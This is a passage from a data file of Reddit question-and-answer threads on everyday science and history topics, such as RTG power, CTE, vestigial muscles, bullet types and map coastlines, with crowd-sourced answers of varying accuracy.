then converted to 470W of electricity with [RTG](_URL_0_). This is needed because going away from the sun means you don't have enough sunlight to generate power thru the solar panel array.\n\nIt has been 39 years since launch, 17 light-hours away in pitch darkness, and weak force still generates enough power to run the spacecraft instruments. It's incredible that a man made object is so far away from man that it takes 17 hours for light from earth to reach it. Yet, it's still being controlled by man and still sending scientific data back home, all thanks to the weak force."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Radioisotope_thermoelectric_generator"]]}
{"q_id": "77y4qs", "title": "why are elderly people's skin leathery", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/77y4qs/eli5_why_are_elderly_peoples_skin_leathery/", "answers": {"a_id": ["dopktv5"], "score": [9], "text": ["There's two types of Aging: Intrinsic and Extrinsic.\n  \n  \nIntrinsic Aging is what occurs after your body produces less collagen due to end of puberty around ages of 18 - 25 depending on the gender. This causes the skin to become fragile and thin. Also, your sweat glands and natural oils produce less with age. Also, your elastin and GAG formation really slows during later years in life.\n  \n  \nExtrinsic Aging is caused by carcinogens and toxins from alcohol, tobacco, etc. Toxins causes cancerous cells and diminish/slows cell regeneration. Also, environmental damage i.e, exposure to pollution and sun radiation.   \n  \nAll these factors produce 'leathering' of the skin."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1s0bnc", "title": "How does trauma like from boxing or playing American football result in Tau protein build up? What about the physical impact results in changes in proteins produced?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1s0bnc/how_does_trauma_like_from_boxing_or_playing/", "answers": {"a_id": ["cdsp3ee"], "score": [3], "text": ["I'm assuming you're referring to the condition of chronic traumatic encephalopathy, or *dementia pugilistica* as it's commonly known as in the world of boxing.  This disease is seen in those with a history of head trauma, like football players and boxers, as you mentioned.  The disease itself shows symptoms of both alzheimer's dementia and parkinsonian dementia.  As you might expect [brains of these patients showed both tau protein (implicated in Alzhemier's) and alpha-synuclein (implicated in Parkinson's)](_URL_0_).\n\nTo get around to answering your question, it isn't totally clear!  [It is known that individuals with an APO E4 allele have increased risk of chronic traumatic encephalopathy](_URL_1_).  This allele (gene variant) is known to increases risk of alzheimer's in those that inherit it.  In those with other predisposing risks (repetitive head trauma), it also makes the resulting dementia that much worse.\n\nTo get a sense of the pathophysiology of the injury, picture the basic unit of the brain: [the neuron](_URL_3_).  Notice the long axon - these are susceptible to injury in head trauma - the axon ruptures, and communication in the brain is disrupted.  [Axons swell, rupture, and die](_URL_2_); also, various neurotransmitters and free radicals are released that cause secondary injury.\n\nIn other words, diffuse damage takes place across the brain, similar to Alzheimer's disease.  This manifests as the confusion and amnesia classic to Alzheimer's disease.  Again, I'm not totally clear from my own investigations into the literature how traumatic injuries result in a build-up of tau protein, whether there's even a causal link or if it's merely an additive phenomenon (meaning those with tau already accumulating in their brains manifest symptoms; those without it are more likely to not show symptoms).  \n\nMaybe someone with more of a neuroscience background can come in and add to this (very basic) coverage of CTE."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/23268705", "http://www.ncbi.nlm.nih.gov/pubmed/?term=9214529", "http://www.ncbi.nlm.nih.gov/pubmed/?term=15668572", "http://en.wikipedia.org/wiki/File:Neuron_Hand-tuned.svg"]]}
{"q_id": "62ij6c", "title": "what muscles are the least used and why do humans still have them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/62ij6c/eli5_what_muscles_are_the_least_used_and_why_do/", "answers": {"a_id": ["dfmw6f4", "dfn4vm2", "dfnt5v6", "dfnxufk"], "score": [199, 146, 6, 11], "text": ["The palmaris longus.  It is a muscle in our forearm.  It doesn't do anything.  14 percent of people don't even have it.  Those that do have one have it because it is a vestige of days when claws and climbing were important for survival (and not a hindrance to handling tools).  It is still there in most people because having the muscle doesn't hurt anything in terms of survival, so there is not pressure on the trait.  In other mammals, it serves to retract skin to expose the claws.  ", "The Auricular muscles are around the ear and in other mammals allow them to swivel their ears to locate a sound better. We still haven't evolved enough to get rid of them.", "Plantaris. As with the other muscles it likely had a former use but as we evolved it atrophied and became less useful.\n\n_URL_0_", "I nominate Palmaris longus. Palmaris longus is a muscle found in the forearm of the human body, originating near the elbow and inserting on the palmar aponeurosis. This muscle serves no apparent purpose, as it has no effect on the tightening or clenching of the hand. In fact, 14% of the population does not even have this muscle! Surgeons seize this opportunity and often remove the palmaris longus to use the tissue to repair muscles elsewhere in the body. There's an easy test you can perform to see if you have this muscle:\n\nExtend your hand out with your palm facing up. Clench your hand into a fist and observe your wrist. If there are two ridges near your wrist, then you have a palmaris longus. Be sure to check both hands."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.m.wikipedia.org/wiki/Plantaris_muscle"], []]}
{"q_id": "52cj3x", "title": "Why can't we see all of the black dots simultaneously on this illusion?", "selftext": "[This one](_URL_0_).\n\nEdit: Getting somewhat tired of the responses demonstrating an undergraduate level of understanding. No, I'm not looking for a general explanation involving the concentration of cells at the fovea, or a similarly general answer. \n\nI am looking for researcher level responses. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/52cj3x/why_cant_we_see_all_of_the_black_dots/", "answers": {"a_id": ["d7j9jx4", "d7jftlx", "d7jmlos", "d7jnto6"], "score": [104, 16, 1159, 8], "text": ["Secondary question- I saw this first on my computer screen and couldn't see at the black dots at once when the image was about six inches square. Maybe two at a time. But when I looked at it on my cell phone screen I could see about four at once. Why would shrinking or possibly changing the angle of the image make a difference?", "What I find interesting is if I stare at it while blinking (half second open, half second shut, roughly), After about 30 seconds, I start being able to see more and more dots at the same time, even after stopping blinking.", "As an actual expert in visual perception, allow me to give the definitive answer to this question:\n\n**We don't know.**\n\nIt's not as simple as resolution (as others have pointed out, you can see the individual dots peripherally if there's no masking grid), or adaptation (which is never as fast as 'instantaneous'). It's more likely related to some kind of competitive pattern-completion process that *doesn't* match the peripheral resolution, i.e. [crowding] (_URL_0_). But that said, we just don't know the answer.\n\n*edit*\n\nPossible contributors to the mechanism of Hermann grid-type illusions like this one (some suggested in replies below):\n\n1) powerful lateral inhibition (but White's illusion? also, what kind of lateral inhibition exactly, and where in the brain?)\n\n2) feature mis-integration (but neural how? why are low-contrast lines integrated at cost of high-contrast spots?)\n\n3) adaptation (but how so fast? if adaptation, why is there no oscillation or timescale like in motion-induced blindness or binocular rivalry)\n\n4) filling-in (but how and what's so special about this type of display? how does pattern filling-in work anyways?)\n\n5) crowding/inappropriate integration (but crowding doesn't usually cause blindness to features)\n\nothers?", "This pic has become my go-to example when trying to explain what [hemianopsia](_URL_1_) feels like. I feel like I have a full cone of vision, but when I glance over into my 'blind' hemisphere it might be completely different than what it was a moment ago. It's interesting how much of your vision is based on your brain's conjecture and assumptions, and how convincing it is.\n\nAnother example that blew my mind is [this one](_URL_0_) where you can reveal the blood vessels running over your retina and which are always there, but filtered out by your brain."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/PjSW9Qr.jpg"], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Crowding"], ["https://www.youtube.com/watch?v=L_W-IXqoxHA", "https://en.wikipedia.org/wiki/Hemianopsia"]]}
{"q_id": "1f4smo", "title": "What did the other Declaration of Independence signers think about John Hancock's massive signature?", "selftext": "I've heard that John Hancock said that he did his signature extra large to be sure that King George would see it, but what did the other founders think? Did it come off as heroic or smarmy? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1f4smo/what_did_the_other_declaration_of_independence/", "answers": {"a_id": ["ca6th1g", "ca6uf83", "ca73wpu", "ca751g3", "ca75osj"], "score": [1411, 333, 6, 28, 16], "text": ["John Hancock signing so large that King George could read it is just a myth.  The real reason he signed so large was because he was the first to sign it and he didn't know how large the others would sign it.  When Hancock went up to sign the entire bottom of the declaration was blank so he just signed it as he would any document. The others who signed after just happened to sign smaller than he did. ", "For those of us who don't live in the US/don't know much about the declaration of Independence: _URL_0_", "Now that we know that Hancock just signed it how he thought everyone else should the follow-up question should be why did Button Gwinnett start way off to the left in much smaller font?", "The above comment by /u/anusface is most likely correct.  In all my primary source research of the founding fathers I've never seen any direct mention made toward John Hancock's unusually large signature.  The simple truth is that Hancock was the President of the Congress, and his was the first and most important signature since his was the one that formalized the resolution.  \n\nWhat's really interesting from a historian's standpoint is that nearly the entirety of the rest of Congress signed the Declaration in addition to Hancock.  Only the President's signature was needed to formalize a motion.  But due to the nature of the declaration, the rest of the Congress decided to sign it as well -- no small commitment, since by attaching their names to it they were all formally declaring themselves traitors to the crown.  But for them it was a matter of principle: \"and for the support of this declaration... we mutually pledge together our lives, our fortunes, and our sacred honor.\"  *That's* what they need to be teaching kids in school.", "Everyone here seems to be saying that John Hancock walked up, signed first, guessing the size his signature should be, and that's why it appears the way it does on the Declaration.\n\nBut that may not be how it happened at all. At the time of the signing of the Declaration, John Hancock was the President of the Congress. When he signed the document, it's possible that he thought his signature was going to be the only one on the document. That is, that Congress had voted and passed the document, and Hancock would sign it as a way of certifying it. It was only afterward that the rest of Congress decided they would like to sign it too.\n\nFrom Wiki:\n\n > Contrary to popular mythology, there was no ceremonial signing of the Declaration on July 4, 1776. After Congress approved the wording of the text on July 4, a copy was sent to be printed. As president, Hancock may have signed the document that was sent to the printer, but this is uncertain because that document is lost, perhaps destroyed in the printing process. The printer produced the first published version of the Declaration, the widely distributed Dunlap broadside. Hancock, as President of Congress, was the only delegate whose name appeared on the broadside, although the name of Charles Thomson, secretary of the Continental Congress, but not a delegate, was also on it. \n\nI didn't get my only-Hancock-signature theory from Wiki, but darn it, I can't remember where I read it or I'd cite it. However, I believe it's a very persuasive explanation. Hancock's name appears large, and right smack at the center of the bottom of the Declaration, because the original plan was that nobody else was going to be signing it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.elcivics.com/john_hancock_signature_civics.jpg"], [], [], []]}
{"q_id": "4i11sn", "title": "What is that wet thing at the end of a plucked hair called?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4i11sn/what_is_that_wet_thing_at_the_end_of_a_plucked/", "answers": {"a_id": ["d2ui5in"], "score": [4], "text": ["From wikipedia: The\u00a0root of the hair\u00a0ends in an enlargement, the\u00a0hair bulb, which is whiter in color and softer in texture than the shaft, and is lodged in a follicular involution of the\u00a0epidermiscalled the\u00a0hair follicle. Bulb of hair layers consist of fibrous connective tissue, glassy membrane, external root sheath, internal root sheath composed of epithelium stratum (Henle's layer) and granular stratum (Huxley's layer), cuticle, cortex and medulla of hair\n\nSo it's not of same colour of hair, it's just glassy, semi transparent, and rifract the colour of the hair."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1kmyzt", "title": "different bullet types and their pros/cons", "selftext": "Particularly your basic bullet, full metal jacket and hollow points.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1kmyzt/eli5_different_bullet_types_and_their_proscons/", "answers": {"a_id": ["cbqkpgk", "cbqnbx9", "cbqnfzq", "cbqq2gq", "cbqq3l9", "cbqqjiw", "cbqron8"], "score": [37, 2, 8, 6, 13, 2, 3], "text": ["Full metal jacket means that the lead bullet has a thin coating of metal around it.  These bullets are pointed at the tip.  Pros: Since the lead is coated there is less residue in the barrel after shooting.  Con(?): Since the tip is pointed and covered in hard metal, this kind of bullet pierces without expanding much.\n\nSoft tip bullets have a flat tip with the lead exposed.  These expand a bit when hitting the body (meaning, more damage) but are a little dirtier in the barrel.\n\nHollow points are soft tips with a little scoop taken out so that they really expand when hitting something.\n\nArmor piercing bullets have a hard little core of VERY hard metal so that when the bullet smashes into something hard, the metal core punches through it.", "Copper vs lead:  lead may foul more, but as a softer metal it is also easier to clean your barrel.", "The other guys have covered the technical differences. I think it's interesting to note that full metal jackets are required by the Hague Convention, dating waaaay back to 1899. An expanding bullet (like a hollow point) is MUCH more lethal than an FMJ. The idea is that, if you put any sort of bullet in someone, they're probably going to stop fighting you anyway, so you might as well give them a chance to survive. \n\nIt's really in everybody's best interests. It also takes MANY more personnel to care for the wounded than it does to pile up the dead, so your army probably wants to cause more wounds than casualties, anyway. Also, FMJ's have the other advantage of being intact when they exit your enemy, so there's an off chance you'll hit someone else behind them. Sort of a \"two-for-the-price of one\" deal.", "FMJ bullet: Typically the jacket is copper. These rounds are used mainly for target shooting and they do not transfer energy very much upon impact. These rounds would also over penetrate a person if used defensively, which could harm innocent people around the bad guy.\n\nJHP bullet: Typically a bullet that has some form of copper jacket around it, but the center of the tip is indented, and the bullet may have serrations around the center hole in order to allow larger expansion. The hollow point in the bullet allows the bullet to completely transfer all of its energy into the target that it is being shot at. Standard hollow points (according to FBI standards) should penetrate 12\" minimum in order to reach vital organs in a body. This also allows for less risk of over penetration; this is what people who fight to ban JHP ammo do not understand, shooting someone with a FMJ just increases innocent peoples risk of being hit, but this is another topic.\n\nIn short, FMJ ammo is used for target shooting, JHP ammo is used for self defense.\n\nFMJ Pros:\n\n* Cheap\n\n* Reliable\n\nFMJ Cons:\n\n* Not much energy transfer\n\n* Risk of over penetrating in self defense situations\n\nJHP Pros:\n\n* Great energy transfer\n\n* Small risk of over penetrating\n\n* Gold standard for self defense round\n\nJHP Cons:\n\n* Expensive\n\n* Some guns do not cycle it reliably", "When I read the title, I thought you meant bullet types in Microsoft Word. ", "Most bullets are pointed, its a mater of aerodynamics, meaning shooting targets over 100m\nFMJ AP are best used against persons who have HARD body armor in excess of IIIA.\nAP is used to break the plate and continue beyond the soft armor. IE the explanation of penetration.  \n\nIf you are shooting targets AP is overkill. \nIf you want to use rounds in Home Defense use HP\nIf you want to just shoot at the range, well... just shoot whats appropriate to the distance.\n", "In hopping about the internet looking around for good sources to answer your question, as well as expand my knowledge base, I realized I may have just tripped all of the NSA's red flags I could. Ammunition supply sites, capabilities of police and military ammunition google searches, flak vests, ballistics gel tests, bullet tumbling, lethality, shrapnel, exit wound, penetration, collateral damage... the list goes on. I'll be expecting a knock any moment now, thanks OP."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "ewjtjg", "title": "why are travel bans not an effective measure to control the spread of a pandemic?", "selftext": "I was hoping for a simpler explanation for the findings from this paper: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ewjtjg/eli5_why_are_travel_bans_not_an_effective_measure/", "answers": {"a_id": ["fg2oy7p", "fg2pbk0", "fg2pj5c", "fg35ty4", "fg3ziom"], "score": [12, 5, 4, 2, 3], "text": ["Because the incubation period with no symptoms is longer than you think. And because people have a chosen one complex where they flee danger and carry disease because that kind of stuff \"happens to other people\". Self preservation and basic self centeredness will overcome any ban.", "People don't obey the travel bans and find ways to circumvent them. This leads to further exposure and spread of the thing you're wanting to contain inherently. You can ban people from going somewhere and say they can't do that but actually keeping them from doing so is a lot harder in practice if not impossible to accomplish. People don't like to be told they can't do what they want and go where they want and that's the basics of it. As long as someone is noncompliant with the order then it can't be effective and a quantity of people equal to or greater than one will intentionally do just that every time. That doesn't even include factors such as outright mismanagement of a quarantined area and not even trying to contain the biohazard which can happen as well.", "I didn't see any specific reasons when I scanned the article. But, the symptoms become present after 1 to 5 days of infection, but you are contagious up to 2 days before the symptoms. So I guess that is a major reason.\n\nEdit: a word, and I mean you can be contagious two days before you show symptoms, until you cure.", "Because the downsides of them - serious economic collapses in many tourism areas, taking years to recover and affecting many millions of people  - would be worse then letting the pandemic spread. You have to instigate those bans before you know much about the disease, too; so you risk instigating widespread travel bans for something that isn't going to spread anyway. And even then it would likely to be ineffective - you have to lift the ban eventually, and the virus will still spread.", " > However, as they would hamper global travel and trade, such restrictions are not recommended by WHO once the global spread of pandemic influenza is established. In 2009, some countries applied travel restrictions as one of several strategies to prevent the introduction of the influenza virus A(H1N1)pdm09 into their territories but the effectiveness of this approach has subsequently been questioned.\n\nFrom the introduction. Basically they're saying that once a large epidemic or pandemic has occurred, travel restrictions don't help as the disease is already well established in most areas. Completely shutting down travel and trade at this point would be more harmful, as it would limit the amount of goods and medicines available. Furthermore, in general quarantines are nearly impossible to totally implement, unless you happen to be an island where travel is easily shut down (See: American Samoa during the Spanish Flu Pandemic). For land borders in particular, people will always end up slipping through, potentially bringing the disease with them. The paper that you linked specifically says that travel restrictions can delay outbreaks by about a week if implemented early enough."]}, "title_urls": [], "selftext_urls": ["https://www.who.int/bulletin/volumes/92/12/14-135590/en/"], "answers_urls": [[], [], [], [], []]}
{"q_id": "jh60e", "title": "Why do some insects, such as wasps, have a super thin waists?", "selftext": "It seems to be like that would make it easier for it to break or harder for it to transfer nutrients from one end of the body to another. [Pic](_URL_0_) in case it wasn't clear what I meant.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jh60e/why_do_some_insects_such_as_wasps_have_a_super/", "answers": {"a_id": ["c2c3252", "c2c37ej", "c2c39sl", "c2c3cb2", "c2c3ggy", "c2c3pfc", "c2c3252", "c2c37ej", "c2c39sl", "c2c3cb2", "c2c3ggy", "c2c3pfc"], "score": [10, 2, 109, 2, 56, 14, 10, 2, 109, 2, 56, 14], "text": ["If you don't get an answer here, you might have better luck in /r/insects.", "It's called a petiole, but I don't understand why exactly.", "I can partially answer this. \"Why\" in biology is often very hard, because very many evolutionary hypothesis are untested/untestable. I don't know whether there is a hypothesis for this or not. \n\nI can describe what I know, though, and it's quite interesting. The typical insect has 3 body segments: head, thorax, ad abdomen. The thorax has 3 further subsegments and the abdomen has 10 subsegments. In elementary school generality, the head controls senses, the thorax controls motion, and the abdomen controls reproduction and 'vital organs.' So right off the bat a weak reason emerges: the abdomen and thorax do different stuff, so they don't necessariy require a huge connection. I'll try for a better answer, though.\n\nIn wasps and ants, the body has those 3 very clear segments you can see. The weird thing is that the \"thorax\" of an ant or wasp actually contains the thoracic segments AS WELL as the first abdomenal segment. Then you have the narrow wasp waist or \"petiole.\" Finally comes the abdomen which is renamed a \"gaster,\" since it only has 9 segments and thus isn't a bona fide abdomen. \n\nThat's about the best I can do, to give those taxonomic names. It's an interesting phenomenon, though. In many ants (specifically I'm talking about fire ants), the adults can't eat solid food while the larvae can. The adult physically can't fit solid food through its wasp waist, but the larva doesn't yet have a wasp waist, so it can eat solid food. Evolution steps in! As a result, some fire ant larvae have enormous salivary glands and a bowl shaped depression on their stomach. Adult ants will put food on this spot and the larvae actually spit on it until it dissolves. The solid food thus becomes liquid and the adults  can then eat it! \n\nThis is sometimes taken to extreme circumstances. Some colonies kill insects and put them in very hot chambers in their mound, turning them into \"bug jerky.\" As real jerky, this dehydrated food doesn't go bad very quickly. When the ants need to dip into their food stores, they employ the larvae to rehydrate and liquify the food and then consume it! \n\n(I'm an undergrad, but I do study entomogy and specialize on ants.) \n", "_URL_0_\n\nThe slender waist is called a petiole. I was unable to find documented evolutionary reasoning behind the slenderness of the waist. Does anyone have Stephen Jay Gould on speed dial. (and a time machine) RIP SJG.\nIt appears that several of you have researched this as well. I humbly withdraw any responsiblity from this post.", "Most thread-waisted wasps are parasitic. They lay eggs with the ovipositor, which is at the end of the abdomen (as an aside, in stinging wasps, the sting-mechanism evolved from the ovipositor). If you have a flexible waist, it is easier to maneuver your ovipositor and sting your host.", "I'm assuming by \"why?\" you mean \"how is this adaptive?\"  The dorsal blood vessel runs through the petiole, and this can help quickly raise the temperature in the flight muscles (by increasing exposure to outside light and heat, as well as shunting hemolymph back and forth to warm it up), as the DBV runs through the flight musculature, and is recurrent in some cases (has a loop within the muscles), to increase the flow if hemolymph through the muscles.  This is why bees and wasps tend to be the first and last insects on the wing in many temperate zones.\n\nTo clarify, the \"blood\" within the constriction heats up faster as a result of the constriction, and nearly all of it is contained by the dorsal blood vessel and can then be streamlined through the flight muscles.\n\nI don't know that it helps with the sting/ovipositor, as they are present in many other orders, and sawflies (Symphyta, a suborder within the same order, Hymenoptera) have broad waists and drill through much harder substrates (wood) than the Aculeata, or thread waisted wasps (which typically penetrate the flexible membrane in between segments of other insects).", "If you don't get an answer here, you might have better luck in /r/insects.", "It's called a petiole, but I don't understand why exactly.", "I can partially answer this. \"Why\" in biology is often very hard, because very many evolutionary hypothesis are untested/untestable. I don't know whether there is a hypothesis for this or not. \n\nI can describe what I know, though, and it's quite interesting. The typical insect has 3 body segments: head, thorax, ad abdomen. The thorax has 3 further subsegments and the abdomen has 10 subsegments. In elementary school generality, the head controls senses, the thorax controls motion, and the abdomen controls reproduction and 'vital organs.' So right off the bat a weak reason emerges: the abdomen and thorax do different stuff, so they don't necessariy require a huge connection. I'll try for a better answer, though.\n\nIn wasps and ants, the body has those 3 very clear segments you can see. The weird thing is that the \"thorax\" of an ant or wasp actually contains the thoracic segments AS WELL as the first abdomenal segment. Then you have the narrow wasp waist or \"petiole.\" Finally comes the abdomen which is renamed a \"gaster,\" since it only has 9 segments and thus isn't a bona fide abdomen. \n\nThat's about the best I can do, to give those taxonomic names. It's an interesting phenomenon, though. In many ants (specifically I'm talking about fire ants), the adults can't eat solid food while the larvae can. The adult physically can't fit solid food through its wasp waist, but the larva doesn't yet have a wasp waist, so it can eat solid food. Evolution steps in! As a result, some fire ant larvae have enormous salivary glands and a bowl shaped depression on their stomach. Adult ants will put food on this spot and the larvae actually spit on it until it dissolves. The solid food thus becomes liquid and the adults  can then eat it! \n\nThis is sometimes taken to extreme circumstances. Some colonies kill insects and put them in very hot chambers in their mound, turning them into \"bug jerky.\" As real jerky, this dehydrated food doesn't go bad very quickly. When the ants need to dip into their food stores, they employ the larvae to rehydrate and liquify the food and then consume it! \n\n(I'm an undergrad, but I do study entomogy and specialize on ants.) \n", "_URL_0_\n\nThe slender waist is called a petiole. I was unable to find documented evolutionary reasoning behind the slenderness of the waist. Does anyone have Stephen Jay Gould on speed dial. (and a time machine) RIP SJG.\nIt appears that several of you have researched this as well. I humbly withdraw any responsiblity from this post.", "Most thread-waisted wasps are parasitic. They lay eggs with the ovipositor, which is at the end of the abdomen (as an aside, in stinging wasps, the sting-mechanism evolved from the ovipositor). If you have a flexible waist, it is easier to maneuver your ovipositor and sting your host.", "I'm assuming by \"why?\" you mean \"how is this adaptive?\"  The dorsal blood vessel runs through the petiole, and this can help quickly raise the temperature in the flight muscles (by increasing exposure to outside light and heat, as well as shunting hemolymph back and forth to warm it up), as the DBV runs through the flight musculature, and is recurrent in some cases (has a loop within the muscles), to increase the flow if hemolymph through the muscles.  This is why bees and wasps tend to be the first and last insects on the wing in many temperate zones.\n\nTo clarify, the \"blood\" within the constriction heats up faster as a result of the constriction, and nearly all of it is contained by the dorsal blood vessel and can then be streamlined through the flight muscles.\n\nI don't know that it helps with the sting/ovipositor, as they are present in many other orders, and sawflies (Symphyta, a suborder within the same order, Hymenoptera) have broad waists and drill through much harder substrates (wood) than the Aculeata, or thread waisted wasps (which typically penetrate the flexible membrane in between segments of other insects)."]}, "title_urls": [], "selftext_urls": ["http://pestcontrolcanada.com/INSECTS/bymudd_s.jpg"], "answers_urls": [[], [], [], ["http://www.animalcorner.co.uk/insects/wasps/graphics/waspanatomy.jpg"], [], [], [], [], [], ["http://www.animalcorner.co.uk/insects/wasps/graphics/waspanatomy.jpg"], [], []]}
{"q_id": "1tq5ns", "title": "Are borders on maps drawn at high tide, low tide, or somewhere in between?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1tq5ns/are_borders_on_maps_drawn_at_high_tide_low_tide/", "answers": {"a_id": ["ceafx7x", "cealo9t", "ceamnd7", "ceanwal", "ceapdb2", "cear7vi"], "score": [268, 15, 9, 5, 7, 2], "text": ["Mean Sea Level is the usual standard datum for mapping. Because high and low tides can vary in magnitude, as well as having seasonal and weather related variation imprinted on them, mean sea level is the most readily  applicable standard in most cases. Because MSL also acts as the standard datum for ~~nautical and~~ topographic mapping, everything is much neater using this as a standard (although, let's face it, simplicity rarely comes into these things).", "I'm a land surveyor who makes topographic maps and determines boundary lines for a living. MSL is a bit of a myth for topographic mapping. In the US the current standards is NAVD88 which is based off of the Great Lakes Datum. NGVD29 (commonly called MSL) was a culmination of data from many previous datums and observations that were based off of tidal observations. \n\n", "Nautical charts show low tide. There are multiple reasons for this but they all basically come down to the fact that sailors need to know what is under them to prevent running a ground or crashing into a rock/reef. Showing the high tide mark and level would cover up most of these dangers.", "So to put the different posts together, low water is used for all naval purposes, high water is used for the land dwellers, some others for more special purposes. Which makes sense, because if you want to walk around ON some isles, you are not really interested in the parts below the beach, nor are many people going to build their house there.\n\nAlso, do not forget exceptions like the Dutch Ijssel Meer, where people live below the see level on ocean floor pumped free of water (simplified way to put it).", "In the Netherlands, the high water line is used. It is a rather important question, because there can be more than five kilometres distance between the high and low water line.\n\nTypical maps look like [this](_URL_0_). The areas falling dry during low tide are indicated with dots.", "It depends on the standard used for mapping. \n\nUsually if the map is done photogrammetrically (from aerial stereo photography), where coordinates are captured in 3D, the operator digitising the coast line fixes the curser at the height Z=0 and moves it (X,Y) to where the curser is exactly on ground (even if it is submerged). \n\nThe images are georefenced in height in accordance with the \"geoid\". Usually Z=0 will be mean sea level."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://1.bp.blogspot.com/-TVJO4LDJ-Rc/UZ_2f1OgaTI/AAAAAAAAB5k/jAkigNGdC90/s1600/Ameland,Ballum,Nes,kaart,map,US+Army,foto,Friesland,Nederland,Buren,Hollum,Het+Oerd,Waddenzee,Holwerd,Borndiep.jpg"], []]}
{"q_id": "nvujv", "title": "pedia - organized eli5 wiki", "selftext": "Started just yesterday:\n\n_URL_1_\n\nWould it be useful for someone?\n\nTips and suggestions are welcome.\n\nEdit:\nThank you guys for the feedback. If you have any questions or suggestions feel free to contact me via reddit or this email form:\n_URL_0_\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/nvujv/eli5pedia_organized_eli5_wiki/", "answers": {"a_id": ["c3cc5bo", "c3cdljl", "c3ceq8n", "c3cf0q3", "c3cg4ud", "c3cgpg8", "c3chp7o", "c3ci3up", "c3cjd3g", "c3cc5bo", "c3cdljl", "c3ceq8n", "c3cf0q3", "c3cg4ud", "c3cgpg8", "c3chp7o", "c3ci3up", "c3cjd3g"], "score": [106, 15, 3, 3, 3, 2, 3, 2, 2, 106, 15, 3, 3, 3, 2, 3, 2, 2], "text": ["That seems interesting, I might try to contribute when I get the chance. \n\nI will point out that _URL_0_ exists though. ", "Organizing subjects asked on this subreddit on a wiki would be really awesome because making an answer more complete would be easier.\n\nUse [this](_URL_0_) as a ~~cms~~ wiki engine, there is no other worthwhile ~~cms software~~ wiki engine, it's clean and everyone already knows how to use it.\n", "I added a link to \"the fiveyearolds guide to the galaxy\" thread to the sidebar.", "1. possibly include links to reddit topics\n\n2. include links to non ELi5 sources on the topic for further reading/confirmation of information", "I applaud this effort hugely, this could grow to something of immense value. \n\nWhen I typed it into google: \"Did you mean: expedia.\" No. ", "Wow good idea.", "This is a great idea. Could use a bit of design work, but other than that, this will be a go-to resource for me. :)\n\nAlso, will definitely be contributing.", "This looks nice. You might also want to add the explanations from the Five Year-Old's Guide to the Galaxy", "OP, take up the collab offers in this thread. this wiki will be an immense resource for all of us, such a great place to store all the great info already in this subreddit.\n\nIf I may also say, mediawiki may be a cleaner more organizable option but that choice is between you and the collabs. ", "That seems interesting, I might try to contribute when I get the chance. \n\nI will point out that _URL_0_ exists though. ", "Organizing subjects asked on this subreddit on a wiki would be really awesome because making an answer more complete would be easier.\n\nUse [this](_URL_0_) as a ~~cms~~ wiki engine, there is no other worthwhile ~~cms software~~ wiki engine, it's clean and everyone already knows how to use it.\n", "I added a link to \"the fiveyearolds guide to the galaxy\" thread to the sidebar.", "1. possibly include links to reddit topics\n\n2. include links to non ELi5 sources on the topic for further reading/confirmation of information", "I applaud this effort hugely, this could grow to something of immense value. \n\nWhen I typed it into google: \"Did you mean: expedia.\" No. ", "Wow good idea.", "This is a great idea. Could use a bit of design work, but other than that, this will be a go-to resource for me. :)\n\nAlso, will definitely be contributing.", "This looks nice. You might also want to add the explanations from the Five Year-Old's Guide to the Galaxy", "OP, take up the collab offers in this thread. this wiki will be an immense resource for all of us, such a great place to store all the great info already in this subreddit.\n\nIf I may also say, mediawiki may be a cleaner more organizable option but that choice is between you and the collabs. "]}, "title_urls": [], "selftext_urls": ["http://eli5pedia.com/contact/contactform.php", "http://eli5pedia.com/"], "answers_urls": [["http://simple.wikipedia.org/wiki/Main_Page"], ["http://www.mediawiki.org/wiki/MediaWiki"], [], [], [], [], [], [], [], ["http://simple.wikipedia.org/wiki/Main_Page"], ["http://www.mediawiki.org/wiki/MediaWiki"], [], [], [], [], [], [], []]}
{"q_id": "1j1l3y", "title": "Why can't we discover the origin of the Big Bang?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1j1l3y/why_cant_we_discover_the_origin_of_the_big_bang/", "answers": {"a_id": ["cba5x54", "cba5zhx"], "score": [4, 7], "text": ["Because it occured throughout all space.", "If you mean 'spatial origin', the big bang occurred everywhere and has no spatial origin.  If you mean anything else, the universe was opaque for the first 300,000 years or so after the big bang, so we can't investigate before then with light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
